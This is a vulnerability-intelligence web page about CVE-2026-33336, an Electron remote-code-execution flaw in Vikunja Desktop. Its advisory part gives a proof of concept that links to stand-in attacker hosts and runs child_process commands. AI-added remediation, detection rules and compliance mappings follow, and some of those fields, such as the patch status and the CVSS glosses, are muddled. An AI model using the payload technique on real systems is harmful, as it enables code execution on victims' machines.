📧 info@ciso.sa | 📱 +966550939344 | Riyadh, Kingdom of Saudi Arabia
🔧 Scheduled Maintenance — Saturday 2:00-4:00 AM AST. Some features may be temporarily unavailable.    ●   
💎
Pro Plan 50% Off Unlock all AI features, unlimited reports, and priority support. Upgrade
Search Center
ESC to close
Global insider Education HIGH 4h Global supply_chain Software Development and Technology HIGH 9h Global apt Government/Critical Infrastructure CRITICAL 11h Global vulnerability Enterprise Software / Data Analytics CRITICAL 12h Global vulnerability Artificial Intelligence and Technology HIGH 15h Global general Technology and Artificial Intelligence MEDIUM 19h Global general Technology and Artificial Intelligence HIGH 20h Global vulnerability Higher Education CRITICAL 1d Global data_breach Government HIGH 1d Global supply_chain Software Development and Open Source Communities CRITICAL 1d Global insider Education HIGH 4h Global supply_chain Software Development and Technology HIGH 9h Global apt Government/Critical Infrastructure CRITICAL 11h Global vulnerability Enterprise Software / Data Analytics CRITICAL 12h Global vulnerability Artificial Intelligence and Technology HIGH 15h Global general Technology and Artificial Intelligence MEDIUM 19h Global general Technology and Artificial Intelligence HIGH 20h Global vulnerability Higher Education CRITICAL 1d Global data_breach Government HIGH 1d Global supply_chain Software Development and Open Source Communities CRITICAL 1d Global insider Education HIGH 4h Global supply_chain Software Development and Technology HIGH 9h Global apt Government/Critical Infrastructure CRITICAL 11h Global vulnerability Enterprise Software / Data Analytics CRITICAL 12h Global vulnerability Artificial Intelligence and Technology HIGH 15h Global general Technology and Artificial Intelligence MEDIUM 19h Global general Technology and Artificial Intelligence HIGH 20h Global vulnerability Higher Education CRITICAL 1d Global data_breach Government HIGH 1d Global supply_chain Software Development and Open Source Communities CRITICAL 1d
Vulnerabilities

CVE-2026-33336

High ⚡ Exploit Available
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main Browse
CWE-94 — Weakness Type
Published: Mar 24, 2026  ·  Modified: Mar 30, 2026  ·  Source: NVD
CVSS v3
8.8
🔗 NVD Official
📄 Description (English)

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

## Root cause

Two misconfigurations combine to create this vulnerability:

1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).

2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:
- `<a href="https://...">` links (without `target="_blank"`)
- `window.location` assignments
- HTTP redirects
- `<meta http-equiv="refresh">` tags

## Attack scenario

1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.
4. The victim uses Vikunja Desktop and clicks the link.
5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.
6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`
7. Arbitrary commands execute as the victim's OS user.

## Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

## Proof of concept

1. Set up a Vikunja instance with two users sharing a project.
2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`
3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`
4. As the victim, open the project in Vikunja Desktop and click the link.
5. calc.exe (or any other command) executes on the victim's machine.

## Credits

This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).

🤖 AI Executive Summary

Vikunja Desktop (versions 0.21.0–2.1.x) contains a critical remote code execution vulnerability due to enabled Node.js integration without navigation restrictions. An attacker can embed malicious links in shared task descriptions or project details, and when clicked by a victim using Vikunja Desktop, arbitrary code executes with full system privileges. This affects all organizations using Vikunja Desktop for collaborative task management, particularly those with untrusted or semi-trusted users in shared projects.

📄 Description (Arabic)

🤖 AI Intelligence Analysis Analyzed: Apr 23, 2026 05:18
🇸🇦 Saudi Arabia Impact Assessment
High impact for Saudi government agencies, financial institutions, and enterprises using Vikunja Desktop for collaborative project management. Most at-risk sectors: (1) Banking & Financial Services (SAMA-regulated entities) — credential theft and unauthorized transactions; (2) Government & Public Administration (NCA oversight) — classified document exfiltration and system compromise; (3) Healthcare (MOH) — patient data breach and ransomware deployment; (4) Energy & Utilities (ARAMCO, SEC) — operational technology compromise; (5) Telecommunications (STC, Mobily) — infrastructure sabotage. The vulnerability is particularly severe in organizations with mixed-trust user bases (e.g., government contractors, joint ventures) where internal threat actors can exploit shared projects.
🏢 Affected Saudi Sectors
Banking & Financial Services Government & Public Administration Healthcare Energy & Utilities Telecommunications Defense & Security Education Manufacturing & Industrial
⚖️ Saudi Risk Score (AI)
9.2
/ 10.0
🔧 Remediation Steps (English)
Immediate Actions:
1. Disable or uninstall Vikunja Desktop on all endpoints until patching is complete. Use web-based Vikunja access only (web version is not affected).
2. Audit Vikunja project descriptions, task descriptions, and comments for suspicious links (especially those pointing to external domains or IP addresses).
3. Review system logs (Windows Event Viewer, macOS Console, Linux syslog) for unexpected process execution on machines where Vikunja Desktop was used.
4. Scan endpoints with EDR/antivirus for malware indicators and lateral movement artifacts.

Patching Guidance:
5. Upgrade Vikunja Desktop to version 2.2.0 or later immediately upon release.
6. If running Vikunja server, ensure it is also updated to the latest version (server-side sanitization is a defense-in-depth layer).

Compensating Controls (if patching is delayed):
7. Restrict Vikunja Desktop usage to trusted networks only; block external internet access from Vikunja Desktop processes via firewall rules.
8. Implement application whitelisting to prevent arbitrary code execution from Vikunja Desktop's renderer process.
9. Use endpoint detection and response (EDR) with behavioral monitoring to detect Node.js child_process execution from Electron processes.
10. Disable user-generated content rendering in project/task descriptions; use plain-text mode only.

Detection Rules:
- Monitor for Vikunja Desktop (Electron) spawning child processes (cmd.exe, powershell.exe, bash, sh).
- Alert on network connections from Vikunja Desktop to non-whitelisted external domains.
- Flag file system modifications in user home directories initiated by Vikunja Desktop.
- Detect `require('child_process')` or similar Node.js API calls in Electron renderer context.
🔧 خطوات المعالجة (العربية)
الإجراءات الفورية:
1. تعطيل أو إلغاء تثبيت Vikunja Desktop على جميع الأجهزة حتى اكتمال التصحيح. استخدم الوصول المستند إلى الويب فقط (إصدار الويب غير متأثر).
2. تدقيق وصفات المشاريع والمهام والتعليقات في Vikunja بحثاً عن روابط مريبة (خاصة تلك التي تشير إلى نطاقات خارجية أو عناوين IP).
3. مراجعة سجلات النظام (Windows Event Viewer و macOS Console و Linux syslog) للبحث عن تنفيذ عمليات غير متوقعة على الأجهزة التي تم استخدام Vikunja Desktop عليها.
4. مسح الأجهزة باستخدام EDR/مكافحة الفيروسات للبحث عن مؤشرات البرامج الضارة وآثار الحركة الجانبية.

إرشادات التصحيح:
5. ترقية Vikunja Desktop إلى الإصدار 2.2.0 أو أحدث فوراً عند الإصدار.
6. إذا كان تشغيل خادم Vikunja، تأكد من تحديثه إلى أحدث إصدار (تعقيم جانب الخادم هو طبقة دفاع متعددة الطبقات).

الضوابط البديلة (إذا تأخر التصحيح):
7. تقييد استخدام Vikunja Desktop للشبكات الموثوقة فقط؛ حظر الوصول إلى الإنترنت الخارجي من عمليات Vikunja Desktop عبر قواعد جدار الحماية.
8. تنفيذ القائمة البيضاء للتطبيقات لمنع تنفيذ الأكواد العشوائية من عملية عرض Vikunja Desktop.
9. استخدام كشف الأجهزة والاستجابة (EDR) مع المراقبة السلوكية للكشف عن تنفيذ Node.js child_process من عمليات Electron.
10. تعطيل عرض محتوى ينشئه المستخدم في وصفات المشاريع/المهام؛ استخدم وضع النص العادي فقط.

قواعد الكشف:
- مراقبة Vikunja Desktop (Electron) لإنشاء عمليات فرعية (cmd.exe و powershell.exe و bash و sh).
- تنبيه الاتصالات الشبكية من Vikunja Desktop إلى نطاقات خارجية غير مدرجة في القائمة البيضاء.
- وضع علم على تعديلات نظام الملفات في دلائل المنزل التي بدأها Vikunja Desktop.
- الكشف عن `require('child_process')` أو استدعاءات Node.js API المماثلة في سياق عرض Electron.
📋 Regulatory Compliance Mapping
🟢 NCA ECC 2024
ECC 2024 A.5.1.1 — Information security policies and procedures (incident response for RCE) ECC 2024 A.5.2.1 — Access control and authentication (prevent unauthorized code execution) ECC 2024 A.5.3.1 — Cryptography and secure communications (detect malicious navigation) ECC 2024 A.5.4.1 — Physical and environmental security (endpoint protection) ECC 2024 A.5.5.1 — Operations security (monitoring and logging of process execution) ECC 2024 A.5.6.1 — Communications security (network segmentation for Vikunja Desktop)
🔵 SAMA CSF
SAMA CSF Governance & Risk Management — vulnerability management and patch deployment SAMA CSF Information & Cybersecurity — endpoint protection and malware detection SAMA CSF Operational Resilience — incident response and business continuity for RCE events SAMA CSF Third-Party Risk Management — if Vikunja is used by external service providers
🟡 ISO 27001:2022
ISO 27001:2022 A.5.1 — Policies for information security (vulnerability management) ISO 27001:2022 A.5.2 — Information security organization (incident response) ISO 27001:2022 A.5.3 — Human resource security (user awareness of link risks) ISO 27001:2022 A.5.4 — Asset management (endpoint inventory and patching) ISO 27001:2022 A.5.5 — Access control (principle of least privilege for Electron processes) ISO 27001:2022 A.5.7 — Cryptography (secure communication channels) ISO 27001:2022 A.5.8 — Physical and environmental security (endpoint hardening) ISO 27001:2022 A.5.9 — Operations security (monitoring and logging) ISO 27001:2022 A.5.10 — Communications security (network segmentation) ISO 27001:2022 A.5.11 — System acquisition, development and maintenance (secure software development)
🟣 PCI DSS v4.0.1
PCI DSS 6.2 — Ensure all system components and software are protected from known vulnerabilities PCI DSS 6.4 — Implement secure development practices and code review PCI DSS 11.2 — Run automated vulnerability scans and remediate findings PCI DSS 12.2 — Implement configuration standards for system components
📦 Affected Products / CPE 1 entries
vikunja:vikunja
📊 CVSS Score
8.8
/ 10.0 — High
📊 CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack VectorN — None / Network
Attack ComplexityL — Low / Local
Privileges RequiredN — None / Network
User InteractionR — Required
ScopeU — Unchanged
ConfidentialityH — High
IntegrityH — High
AvailabilityH — High
📋 Quick Facts
Severity High
CVSS Score8.8
CWECWE-94
Exploit ✓ Yes
Patch ✗ No
Published 2026-03-24
Source Feed nvd
Views 4
🇸🇦 Saudi Risk Score
9.2
/ 10.0 — Saudi Risk
Priority: CRITICAL
🏷️ Tags
exploit-available CWE-94
Share this CVE

💬 Comments

0
Loading comments
📣 Found this valuable?
Share it with your cybersecurity network
in LinkedIn 𝕏 X / Twitter 💬 WhatsApp ✈ Telegram
🍪 Privacy Preferences
CISO Consulting — Compliant with Saudi Personal Data Protection Law (PDPL)
We use cookies and similar technologies to provide the best experience on our platform. You can choose which types you accept.
🔒
Essential Always On
Required for the website to function properly. Cannot be disabled.
📋 Sessions, CSRF tokens, authentication, language preferences
📊
Analytics
Help us understand how visitors use the site and improve performance.
📋 Page views, session duration, traffic sources, performance metrics
⚙️
Functional
Enable enhanced features like content personalization and preferences.
📋 Dark/light theme, font size, custom dashboards, saved filters
📣
Marketing
Used to deliver content and ads relevant to your interests.
📋 Campaign tracking, retargeting, social media analytics
Privacy Policy →
CISO AI Assistant
Ask anything · Documents · Support
🔐

Introduce Yourself

Enter your details to access the full assistant

Your info is private and never shared
💬
CyberAssist
Online · responds in seconds
5 / 5
🔐 Verify Your Identity

Enter your email to receive a verification code before submitting a support request.

Enter to send · / for commands 0 / 2000
CISO AI · Powered by Anthropic Claude
✦ Quick Survey Help Us Improve CISO Consulting Your feedback shapes the future of our platform — takes less than 2 minutes.
⚠ Please answer this question to continue

How would you rate your overall experience with our platform?

Rate from 1 (poor) to 5 (excellent)

🎉
Thank you!
Your response has been recorded.